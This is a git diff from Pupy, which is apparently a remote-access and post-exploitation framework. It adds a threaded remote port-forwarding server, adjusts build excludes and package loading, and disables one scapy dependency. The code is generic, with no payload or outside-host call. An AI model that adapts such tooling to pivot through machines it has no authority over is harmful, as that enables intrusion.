diff --git a/client/build_library_helper.py b/client/build_library_helper.py
index 85cd45a7..f2efa58e 100644
--- a/client/build_library_helper.py
+++ b/client/build_library_helper.py
@@ -45,7 +45,7 @@ setup(
 				"packages":['additional_imports'],
 				"compressed" : True,
 				"bundle_files" : 3, #3 = don't bundle (default) 2 = bundle everything but the Python interpreter 1 = bundle everything
-				"excludes": ["Tkinter"]
+				"excludes": ["Tkinter", "pyreadline", "IPython"]
 				}
 		}
 )
diff --git a/pupy/packages/all/pupyutils/portfwd.py b/pupy/packages/all/pupyutils/portfwd.py
new file mode 100644
index 00000000..2ab4d422
--- /dev/null
+++ b/pupy/packages/all/pupyutils/portfwd.py
@@ -0,0 +1,24 @@
+# -*- coding: UTF8 -*-
+# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
+# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms
+import SocketServer
+import threading
+class RemotePortFwdRequestHandler(SocketServer.BaseRequestHandler):
+	def handle(self):
+		self.server.callback(self.request)
+
+
+class RemotePortFwdServer(SocketServer.TCPServer):
+	allow_reuse_address = True
+	def __init__(self, server_address, bind_and_activate=True, callback=None):
+		self.callback=callback
+		SocketServer.TCPServer.__init__(self, server_address, RemotePortFwdRequestHandler, bind_and_activate)
+	def start_serve(self):
+		t=threading.Thread(target=self.serve_forever)
+		t.daemon=True
+		t.start()
+		
+
+class ThreadedRemotePortFwdServer(SocketServer.ThreadingMixIn, RemotePortFwdServer):
+	def __str__(self):
+		return "<RemotePortForward remote=%s>"%str(self.server_address)
diff --git a/pupy/pupylib/PupyClient.py b/pupy/pupylib/PupyClient.py
index 5ec55d5c..f4658374 100644
--- a/pupy/pupylib/PupyClient.py
+++ b/pupy/pupylib/PupyClient.py
@@ -129,7 +129,7 @@ class PupyClient(object):
 					self.conn.execute(v)
 				else:
 					raise PupyModuleError("Unknown package loading method %s"%t)
-		self._load_package(module_name, force)
+		return self._load_package(module_name, force)
 	def _load_package(self, module_name, force=False):
 		""" 
 			load a python module into memory depending on what OS the client is.
diff --git a/pupy/pupylib/PupyPackagesDependencies.py b/pupy/pupylib/PupyPackagesDependencies.py
index 13ad53db..ca6debb3 100644
--- a/pupy/pupylib/PupyPackagesDependencies.py
+++ b/pupy/pupylib/PupyPackagesDependencies.py
@@ -13,7 +13,7 @@ packages_dependencies={
 	],
 	"scapy" : [
 		(LOAD_PACKAGE, "pcap"),
-		(LOAD_PACKAGE, "dnet"),
+		#(LOAD_PACKAGE, "dnet"),
 		(EXEC, "import socket\nsocket.IPPROTO_IPIP=4\nsocket.IPPROTO_AH=51\nsocket.IPPROTO_ESP=50\n") #hotpatching socket module missing some constants on windows
 	],